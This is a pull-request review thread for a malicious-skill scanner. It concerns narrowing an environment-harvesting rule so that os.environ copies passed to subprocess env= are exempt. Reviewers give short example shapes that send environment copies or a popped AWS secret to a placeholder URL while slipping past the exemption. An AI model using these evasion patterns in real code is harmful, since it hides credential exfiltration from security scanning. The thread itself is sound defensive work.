Repository navigation
fix(e2): exempt child-process env pass-through from harvesting - #492
malinfossum wants to merge 4 commits into
Conversation
rng1995
left a comment
There was a problem hiding this comment.
[SkillSpector Review]
Changes requested at head 7990d72de6a7413f10a3958b676a83c106be9cf8.
src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:272: suppression is based on every variable name ever passed asenv=anywhere in the file, rather than on the definition that reaches that child-process call. For example, an earlierenv = os.environ.copy(); requests.post(..., json=env)is hidden if a later reassignmentenv = {}is passed tosubprocess.run(..., env=env); a single mapping that is both exfiltrated and passed through is hidden too. Suppress only definitions proven to flow exclusively/directly to the child-processenvargument, and add reassignment and dual-use regression tests that preserve the E2 finding.
Required CI is green, but this correctness gap and the BEHIND merge state block merge.
7990d72 to
d2bdefe
Compare
|
Both gaps confirmed and fixed in d2bdefe; branch rebased on current The exemption no longer keys on names. Regression tests added, both asserting the finding stays on line 4:
Ordering is by source position, so a rebinding in one branch of an |
rng1995
left a comment
There was a problem hiding this comment.
[SkillSpector Review]
Re-reviewed current head d2bdefecbcca023f046aadf1171ea3752a9da956. The new reaching-definition logic fixes the previously reported straight-line reassignment and dual-use cases, but it does not preserve bindings across Python lexical scopes. A nested function or lambda parameter can close an unrelated outer environment binding, causing a benign outer mapping used only as a child-process env= argument to be reported as E2. Track bindings per lexical scope (while retaining conservative closure-read handling) and add the shadowing regression.
All required checks pass, but this correctness issue and mergeStateStatus=BEHIND block merging.
| self.visit(condition) | ||
|
|
||
| def visit_arg(self, node: ast.arg) -> None: | ||
| self._close(node.arg) |
There was a problem hiding this comment.
[P2] Preserve outer bindings across nested lexical scopes
This visitor uses one flat _open map while NodeVisitor descends into nested definitions. A shadowing parameter therefore closes the outer binding: env = os.environ.copy(); def helper(env): return env; subprocess.run(["x"], env=env) leaves the outer candidate neither escaped nor marked as reaching the launcher, so the benign copy is emitted as E2. A lambda argument or nested local assignment has the same problem. Track bindings per lexical scope (without losing conservative free-variable reads) and add a regression with a shadowing nested parameter before the outer env= use.
There was a problem hiding this comment.
Fixed in 4a5b362. The branch is also rebased on current main.
_EnvironmentFlowVisitor now keeps a stack of lexical scopes instead of one flat map. Each scope knows which names it binds itself, following Python's rules: parameters, local assignments, comprehension targets, class bodies (which don't enclose their methods), global, nonlocal and walrus targets inside comprehensions. A nested scope's own env no longer closes the outer binding.
Free-variable reads stay conservative and are now a bit stricter. A function or lambda body runs at some later time, so its reads of an enclosing name count against every binding of that name that is open when the body is defined or made after it. This also catches a case the flat map missed: a leaking closure defined before env = os.environ.copy() and called after the launcher. Writes through global or nonlocal inside a function body can't be ordered against the enclosing uses, so they leave the outer bindings alone. A copy made that way is never treated as a pass-through.
New tests in test_static_patterns.py:
- the shadowing parameter from this comment, plus a local assignment, a lambda argument, a comprehension target and a class attribute (all pass through)
- a shadowing parameter next to an outer network use (still flagged)
- closure reads after the copy, before the copy, through
globaland throughnonlocal(all flagged)
e815674 to
4a5b362
Compare
rng1995
left a comment
There was a problem hiding this comment.
[SkillSpector Review]
Hi @malinfossum, thank you for the per-scope rewrite and for the closure-before-copy case you found on your own!
Value and readiness: The fix targets a real and common E2 false positive: subprocess.run(..., env={**os.environ, ...}). The lexical-scope work fixes the last finding cleanly. Two new problems block merge. A rebinding inside an if, try or loop still closes a binding regardless of control flow, so a real harvest can be hidden. And the new recursive visitor can crash on a deeply nested expression, which drops every E1–E5 finding for that file. Both fixes are small.
Previous findings:
- Suppression keyed on any name ever passed as
env=(review at7990d72): Resolved. The reaching-definition visitor fromd2bdefecarried through the rebase unchanged (b5b7c39is patch-identical).test_e2_environ_copy_rebound_before_subprocess_still_flaggedand..._exfiltrated_and_passed_through_still_flaggedpin both shapes. - Nested scopes closing the outer binding (review at
d2bdefe): Resolved in4a5b362._Scopeand_scope_declarationsnow model parameters, locals, lambdas, comprehensions, class bodies,globalandnonlocal. I traced thedef helper(env)example and it now passes through. The shadowing and closure-read tests cover both directions. BEHINDmerge state: Resolved. The merge base is the currentmaintip (2226747).
Material findings
- [Blocker]
src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:377:_storecloses the previous binding on any rebinding, andvisit_If/visit_Try/visit_Whileare not handled, so a binding is marked passed-through as soon as a rebinding is seen in source order. That happens even when the rebinding is in a branch that may not run. The 14 Sep comment says a branch rebinding or loop back-edge "errs toward keeping the finding". The code does the opposite for these inputs:Here the copy is marked reached and then closed byenv = os.environ.copy() if False: subprocess.run(["true"], env=env) env = {} requests.post(URL, json=env)
env = {}, and the laterrequests.postonly escapes the{}binding, so E2 on line 1 is suppressed. A loop back-edge does the same thing: arequests.post(URL, json=payload)at the top of aforbody, followed bypayload = os.environ.copy(); subprocess.run([...], env=payload), sends the previous iteration's copy. The behavioral taint analyzer does not treatos.environ.copy()ordict(os.environ)as sources, so E2 is the only rule that ties this flow to the environment. The fix is to make rebinding conservative across control flow. A rebinding inside a nestedif/try/with/match/loop body should not close a binding opened outside that block; keep the outer binding open so later uses still count against it. A binding created inside a loop body should also count reads that appear earlier in the same body. Visiting the body twice is a simple way to do that. Add regressions for theifand loop shapes above. - [Blocker]
src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:533:_EnvironmentFlowVisitoris a recursiveast.NodeVisitor, so each level of expression nesting costs two Python frames. Before this PR, the module used only the iterativeast.walk. A Python file containingx = a + a + ... + awith about 600 terms (a ~1.2 KB line) parses fine. I confirmed this with a stdlib-only probe on Python 3.12 and 3.13, but aNodeVisitorover that tree raisesRecursionError. Nothing catches it in_analyze_python_environment_reads, sorun_static_patterns_with_ledgerrecordsANALYZER_RUNTIME_ERRORand drops every finding from this analyzer for that file. Any crafted file can therefore switch off E1–E5 for itself. Wrap the flow pass intry/except RecursionError, fall back to an empty pass-through set (the pre-PR behavior), and add a deep-expression regression. - [Non-blocking]
src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:207:pop,popitemandsetdefaultare treated as in-place edits even when their return value is used. For example,items.append(env.popitem())in a loop can drain the whole copy into another value while the copy still counts as passed through. Count these calls as mutations only when the result is discarded (the call is anast.Exprstatement).
On the requested check, real exfiltration through a child: the exemption does not create a new child-side gap. Omitting env= gives the child the same environment, and that form was never E2-flagged. Child-side sends remain visible to command-string rules (E1 curl -d/wget --post-*, the env | grep E2 shell pattern that #483 extends, which still runs on parsed Python) and to AST4. Inline interpreter payloads such as python -c "..." are not E2-analyzed on main either. A copy that is also used anywhere other than env= keeps its finding, as the tests show. The remaining exfiltration risk is the control-flow gap in finding 1.
PIC tradeoffs: None identified.
Verification and gaps: I read the full two-file diff at the exact head, every prior review, reply and inline thread, and the three commits since the last review. I compared the rebased patch against d2bdefe and checked that main's intervening edits to this file (#409, #491) are unrelated. I traced the visitor by hand for the shadowing, closure, global/nonlocal, walrus, if-branch and loop-back-edge cases, and checked the taint analyzer's source list. The recursion depth was measured with my own stdlib-only script, not the PR code. git merge-tree shows a clean merge with main and with #483, which edits the same file. All six hosted checks pass at this head. Contributor code and tests were not executed locally, per policy.
Decision: Changes Requested (reviewed head 4a5b36207b88b3616e0d7c0586e2f81c0f9f6937)
| scope, deferred = self._resolve(name, walrus=walrus) | ||
| if deferred: | ||
| return | ||
| self._close(scope, name) |
There was a problem hiding this comment.
[Blocker] This closes the previous binding on any rebinding, regardless of control flow (there is no visit_If/visit_Try/visit_While). env = os.environ.copy() / if False: subprocess.run(["true"], env=env); env = {} / requests.post(URL, json=env) marks the copy as passed through and suppresses its E2, even though the copy is what gets posted. A loop back-edge (post at the top of the body, copy + subprocess.run(env=...) below it) does the same. A rebinding inside a nested if/try/with/match/loop body should not close a binding opened outside that block, and reads earlier in a loop body should count against bindings made later in it. Please add regressions for both shapes.
| aliases = python_ast.import_aliases | ||
| lines = python_ast.lines | ||
| flow = _EnvironmentFlowVisitor(tree, aliases) | ||
| flow.visit(tree) |
There was a problem hiding this comment.
[Blocker] _EnvironmentFlowVisitor recurses about two frames per nesting level. A parseable x = a + a + ... + a with ~600 terms raises RecursionError here (stdlib probe on 3.12/3.13). That exception is uncaught, so the runner marks the analyzer FAILED and drops all E1-E5 findings for the file. Catch RecursionError around the flow pass and fall back to an empty pass-through set (pre-PR behavior), with a deep-expression regression.
E2 fired HIGH at 0.6 confidence on `subprocess.run(cmd, env={**os.environ,
...})` and on an `os.environ.copy()` bound to a name and passed as `env=`,
which is the standard way to hand an environment to a child process. A real
harvester and the most common benign idiom were indistinguishable in the
report.
The analyzer's own docstring already excluded this case: a full mapping copy
is a harvesting signal "unlike a targeted single-key lookup or passing
os.environ through to a child process". The code did not implement the second
half, because it keyed on the copy rather than on where the copy goes.
Collect the expressions passed as `env=` to a known process launcher, plus the
names bound to them, and skip those at emit time. An environ copy that goes
anywhere else still fires, and network and execution sinks remain the
behavioral taint analyzer's job.
Fixes NVIDIA#441
Signed-off-by: Malin Fossum <[email protected]>
The pass-through exemption keyed on every name ever handed to a launcher's
env= anywhere in the file, so a later env = {} passed to subprocess.run hid
an earlier env = os.environ.copy() that was posted to the network, and a
single mapping that was both exfiltrated and passed through was hidden too.
Bindings are now followed in evaluation order until the name is rebound; a
copy is exempt only when every use up to that point is a child-process env=
argument or an in-place edit of the mapping. Adds regression tests for the
rebinding and dual-use cases.
Signed-off-by: Malin Fossum <[email protected]>
The flow visitor kept one flat binding map, so a nested parameter, local assignment, lambda argument, comprehension target or class attribute with the same name closed the outer binding and left a benign pass-through copy reported as E2. Bindings now live in a scope stack that follows Python's resolution rules (global, nonlocal, class bodies, comprehension targets and walrus). A function or lambda body runs later, so its reads of an enclosing name count against every binding open at its definition or made after it. That also catches a leaking closure defined before the copy, which the flat map missed. Signed-off-by: Malin Fossum <[email protected]>
4a5b362 to
718e771
Compare
A rebinding now closes only the bindings made in its own block or in blocks nested inside it. One inside an if, try, with, match or loop body leaves the outer binding open, and later uses count against both. Nothing closes where a raise, break or continue can skip the rebinding (try, except, with and loop bodies), or through a walrus. A read anywhere in a loop counts against every binding made in that loop, which covers the next pass reading this pass's copy. This stays linear: visiting loop bodies twice would double the work at every nesting level, and the open bindings per name are capped so a crafted file cannot make the pass quadratic. pop and setdefault count as in-place edits when their value is discarded or comes from one literal key; popitem only when discarded. A walrus result, a class attribute, a class-body read that falls through to globals, and any name in a file that calls globals(), locals(), vars(), eval() or exec() keep the finding. A RecursionError in the flow pass falls back to reporting every full read instead of dropping the file's E1-E5 findings. Signed-off-by: Malin Fossum <[email protected]>
|
Thanks for the careful trace. All three findings are fixed in 718e771, and the branch is rebased on current 1. Control flow (blocker). A rebinding now closes only the bindings made in its own block or in blocks nested inside it. One inside an For loop back-edges I didn't visit the body twice. Python accepts about 100 levels of nesting, and two visits per level is 2^depth work. Instead, a read anywhere in a loop counts against every binding made in that loop. That covers your While testing this I found three more paths of the same kind and closed them too:
2. Recursion (blocker). The flow pass is wrapped in 3. Extraction methods. Hardening from an adversarial pass over my own change:
One limit I left alone: the launcher is matched by name, so a monkeypatched Tests. I added 29 parametrized cases covering the |
rng1995
left a comment
There was a problem hiding this comment.
[SkillSpector Review]
@malinfossum thank you for fixing both blockers properly and for the adversarial pass on your own change. The binding cap, the raise and break/continue paths, and the dynamic-namespace guard all hold up.
Value and readiness
This fixes a real and common E2 false positive (#441), and the control-flow and recursion blockers from my last review are resolved. Because the exemption removes a HIGH finding, it has to establish where the copy actually goes. Today it trusts a launcher's spelling and one file's view of a name. I found three ordinary-looking ways to hide real exfiltration this way. For each one I scanned the input on main with --no-llm: E2 HIGH is the only HIGH finding there, and this head drops it. Each fix is small, but the PR is not ready to merge yet.
Material findings
Prior findings
- Rebinding inside
if/try/with/match/loops closed the outer binding (Blocker,4a5b362): Resolved._close(L434-449) closes only bindings made in the rebinding's own block or in blocks nested inside it.- Protected bodies (L220-230) and
_visit_loop(L509-519) never close, and they count reads in a loop against that loop's bindings. - I traced your
if False:andforshapes, and both keep the finding. The tests pin them along with the raise,break/continueandwhile-test variants.
RecursionErrordropped every E1-E5 finding for the file (Blocker): Resolved. L690-697 falls back to no pass-throughs, and a 1,000-term test pins it.pop/popitem/setdefaultdrains (non-blocking): Partly resolved.popitemand non-literal keys now keep the finding, but literal-key extraction still does not (finding 3).- The three rng1995 threads are addressed and outdated, so they can be resolved.
New
-
Blocker: L403. The launcher is matched by spelling only.
resolve_call_nameis purely syntactic, and import aliases ignore later rebinding, so this copy is exempt:from subprocess import run def run(cmd, env=None): requests.request("POST", URL, data=str(env)) run(["git", "status"], env=os.environ.copy())
A local
class subprocess:with arunstaticmethod and no import works the same way, and AST4 then labels the exfiltration a "subprocess module call". This contradicts the PR body's claim that "a call to an arbitrary function named with anenv=argument is not a way to silence E2". Other launcher rules report more when a name is spoofed, but this exemption reports less. Please exempt only when the launcher's root name (subprocess,asyncio, or a from-importedrun/Popen/...) meets all of these conditions:- It is bound in this file only by an import of the real module.
- It is never rebound (def, class, assignment,
for/with/excepttarget,global). - Nothing writes through it (
subprocess.run = ...,setattr(subprocess, ...)).
Please add both shapes as regressions.
-
Blocker: L428. Closing the module scope passes module-level bindings through, but another file can import them, and the flow pass only sees one file.
gitenv.pyhas the exact shape thattest_e2_subprocess_env_copy_via_variable_not_flaggedpins as benign.run.pydoesfrom gitenv import env; requests.request("POST", URL, data=str(env)).mainreports E2 HIGH atgitenv.py:4, and this head reports nothing.
Within one file,
sys.modules[__name__].envorfn.__globals__["env"]also gets past the_DYNAMIC_NAMESPACE_CALLSguard. Please limit the by-name exemption to function-local bindings. To keep the plain script shape, you can also allow bindings inside a top-levelif __name__ == "__main__":block, which importers never run. Inlineenv=arguments are unaffected. Please add the two-file case as a regression. -
Blocker: L258. A literal-key
pop/setdefaultcounts as an edit even when its value is kept, so the copy can launder a secret:env = os.environ.copy() secret = env.pop("AWS_SECRET_ACCESS_KEY", None) subprocess.run(["git", "status"], env=env) requests.post(URL, data=secret)
mainreports E2 HIGH here, and this head reports nothing. The "targeted lookup" comparison does not hold:os.environ.get("K")is a taint source. The same flow written that way is TT3 CRITICAL onmain.- A value popped from a copy is invisible to taint, so E2 is the only rule that ties it to the environment.
- The rule is also inconsistent:
env["K"]andenv.get("K")on the copy already keep the finding.
Please count these calls as edits only when their result is discarded, as with
popitem, and fliptest_e2_environ_copy_single_secret_removed_not_flagged. -
Optional: the PR description still describes the first version: name-keyed suppression, three tests and the old validation table. Please update it.
PIC tradeoffs
-
The fix for finding 2 keeps E2 on a module-level
env = os.environ.copy(); subprocess.run(..., env=env)that is not inside a__main__guard. A skill-wide import check would avoid that, but it needs cross-file plumbing. -
Some obfuscation-level residuals would remain:
- a launcher monkeypatched from another file
- frame introspection (
sys._getframe().f_locals) - aliased
locals/globals(g = locals; g()["env"])
Treating any reference to those builtins, and any use of
f_locals,f_globals,__globals__orsys.modules, as a dynamic read would close most of them. For context,mainalready missesdict(getattr(os, "environ"))entirely (I verified this). The findings above matter because they make the ordinary spelling evasive.
Verification and gaps
- Diff: I read the full two-file diff at
718e771. The force-push replaced4a5b362, so I checked each prior finding against the current code. - Tracing: I traced
__init__→_env_arguments→passthrough_ids→emitfor every probe, and confirmed thatresolve_call_nameandbuild_import_aliasesare flow-insensitive. - Baselines: I scanned ten crafted skills with a trusted
origin/mainworktree (skillspector scan --no-llm) to get themainresults. PR behaviour comes from code reading. Contributor code was not run. - Merges:
git merge-treeis clean against currentmainand against #483. The two PRs touch separate hunks and complement each other. - CI: 6/6 checks are green at
718e771.
| self._mutated_names.add(id(receiver)) | ||
| elif isinstance(node, ast.Call): | ||
| call_name = resolve_call_name(node, aliases) | ||
| if call_name in _CHILD_PROCESS_ENV_CALLS: |
There was a problem hiding this comment.
[Blocker] The launcher is matched by spelling only. from subprocess import run followed by a local def run(cmd, env=None): requests.request("POST", URL, data=str(env)) still resolves to subprocess.run, and so does a local class subprocess: with no import. In both cases run(["git", "status"], env=os.environ.copy()) loses the E2 HIGH that main reports. Please require the root name to be bound only by an import of the real module, never rebound in this file, and never written through (subprocess.run = ..., setattr). Please add both shapes as regressions.
|
|
||
| def passthrough_ids(self) -> set[int]: | ||
| """Ids of expressions whose only destination is a child-process ``env=``.""" | ||
| self._close_scope(self._scopes[0]) |
There was a problem hiding this comment.
[Blocker] Closing the module scope passes module-level bindings through, but other files can import them. gitenv.py (env = os.environ.copy(); env["X"] = "0"; subprocess.run([...], env=env)) passes through here. run.py then does from gitenv import env; requests.request("POST", URL, data=str(env)), and nothing is reported. main reports E2 HIGH at gitenv.py:4. sys.modules[__name__].env does the same within one file. Please limit the by-name exemption to function-local bindings. A top-level if __name__ == "__main__": block can stay exempt if you want, since importers never run it. Please add the two-file regression.
| if receiver is None and isinstance(node, ast.Expr): | ||
| receiver = _method_receiver(node.value, _ENVIRONMENT_EXTRACTION_METHODS) | ||
| if receiver is None and isinstance(node, ast.Call): | ||
| single_key = _method_receiver(node, _ENVIRONMENT_SINGLE_KEY_METHODS) |
There was a problem hiding this comment.
[Blocker] secret = env.pop("AWS_SECRET_ACCESS_KEY", None) counts as an edit, so the copy passes through while the secret goes out through requests.post(URL, data=secret). main reports E2 HIGH. Taint does not see values popped from a copy, while the os.environ.get version of this flow is TT3 CRITICAL on main. Also, env["K"] and env.get("K") on the copy already keep the finding. Please count literal-key pop/setdefault as edits only when the result is discarded, and flip test_e2_environ_copy_single_secret_removed_not_flagged.
Summary
E2no longer fires on anos.environcopy whose only destination is a child process'senv=. An environ copy that goes anywhere else is unchanged, and so areE1,E3–E5, the regex fallback for unparsable Python, and every non-Python path.Fixes #441.
Root cause
_analyze_python_environment_readskeys on the copy rather than on where the copy goes, sosubprocess.run(cmd, env={**os.environ, "GIT_OPTIONAL_LOCKS": "0"})reached the sameemit()at the same HIGH severity and the same 0.6 confidence as a real harvester. The analyzer's docstring already excluded this case — a full mapping copy is a harvesting signal "unlike a targeted single-key lookup or passingos.environthrough to a child process" — but only the first half was implemented.The fix collects, per file, the expressions passed as
env=to a known process launcher (subprocess.run/call/check_call/check_output/Popen,asyncio.create_subprocess_exec/_shell) plus the plain names bound to them, and skips those nodes at emit time. Two shapes are covered: the mapping written inline at the call site, and one built on an earlier line and passed by name.I kept this to an allowlist rather than exempting any
env=keyword, so a call to an arbitrary function named with anenv=argument is not a way to silenceE2.Validation
A skill with the issue's three benign variants plus one real harvester (
requests.post(url, json=dict(os.environ))), scanned with--no-llm:variants.py:8env={**os.environ, ...}variants.py:13env = os.environ.copy()harvester.py:7dict(os.environ)→requests.postThe subprocess calls themselves still surface as
AST4, so the behavior is not hidden — only the harvesting claim about it is withdrawn.Three tests added to
TestRunStaticPatternsDataExfiltration, written before the fix and confirmed failing againstmain: one per benign shape, plus a guard that an environ copy bound to a name and sent torequests.poststill fires.pytest tests/nodes/analyzers/test_static_patterns.py -k e2— 7 passedpytest -m "not integration and not provider" tests/— 3954 passed, 26 skipped, 4 xfailed, 22 failedruff check src/ tests/— cleanruff format --check src/ tests/— cleanThe 22 failures are pre-existing on a Windows host and unrelated to this change: I ran the same four files on
mainwith this branch stashed and got the identical 22 (test_build_context.pysymlink and secure-open cases,test_compare_scan_accuracy.py— which is #485 —test_create_github_release.py, and onetest_input_handler.pycase). No test outsidetest_static_patterns.pychanges state with this patch applied.Scope
This fixes the
E2precision slice only. It does not touchE2's severity or confidence values, the#329broadening that made the rule match{**os.environ, ...}in the first place, orE1/taint coverage of credential flows to network sinks.